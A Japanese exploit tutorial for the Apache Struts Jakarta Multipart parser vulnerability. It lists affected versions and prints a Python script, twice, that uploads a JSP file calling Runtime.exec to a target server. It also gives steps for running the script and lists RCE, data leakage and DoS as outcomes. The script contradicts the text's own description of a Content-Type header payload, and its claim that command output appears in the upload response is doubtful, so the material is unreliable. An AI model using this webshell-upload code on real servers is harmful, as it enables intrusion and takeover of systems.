※安全性の観点より、ソースコード、ファイル内容は一部削除、改変済みです。
①対象バージョン
- Apache Struts 2.3.5 - 2.3.31
- Apache Struts 2.5 - 2.5.10.1
②この脆弱性は、ファイルアップロード機能を提供するWebアプリケーションが、Jakarta Multipart parserを使用している場合に悪用されます。攻撃者は、Content-Typeヘッダーに特定のペイロードを含むリクエストを送信することで、サーバー側で任意のコードを実行できます。
以下のスクリプトは、ターゲットサーバーに対してJSPファイルをアップロードし、そのファイルが実行されたときに
whoami
コマンドを実行します。import requests
# ターゲットサーバーのURL
url = "http://target-server.com/upload" # アップロード先のURLに変更してください
# ヘッダーの設定
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
}
# 悪意のあるペイロードを含むファイルの内容
payload = (
"------WebKitFormBoundary7MA4YWxkTrZu0gW\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.jsp\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<% Runtime.getRuntime().exec(\"whoXXXXXXXXXXXXXX
"------WebKitFormBoundary7MA4YWxkTrZu0gW--"
)
# POSTリクエストを送信
response = requests.post(url, headers=headers, data=payload)
# レスポンスの表示
print(response.status_code)
print(response.text)
# ターゲットサーバーのURL
url = "http://target-server.com/upload" # アップロード先のURLに変更してください
# ヘッダーの設定
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
}
# 悪意のあるペイロードを含むファイルの内容
payload = (
"------WebKitFormBoundary7MA4YWxkTrZu0gW\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.jsp\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<% Runtime.getRuntime().exec(\"whoXXXXXXXXXXXXXX
"------WebKitFormBoundary7MA4YWxkTrZu0gW--"
)
# POSTリクエストを送信
response = requests.post(url, headers=headers, data=payload)
# レスポンスの表示
print(response.status_code)
print(response.text)
上記スクリプトをPythonファイル(例:
upload_exploit.py
)として保存します。ターミナルやコマンドプロンプトを開き、スクリプトが保存されているディレクトリに移動します。
以下のコマンドを実行します。
python upload_exploit.py
スクリプトが正常に実行されると、HTTPステータスコードとレスポンスが表示されます。レスポンスに
whoami
コマンドの実行結果が含まれているはずです。③whoami以外のコマンドを使用することで、以下が可能になります。
- リモートコード実行(RCE): 攻撃者がサーバー上で任意のコードを実行することが可能となり、システムの完全な制御が奪われる可能性があります。
- 情報漏洩: 機密データへのアクセスが可能となる。
- サービス停止(DoS): システムの正常な動作を妨害する攻撃が行われる可能性があります。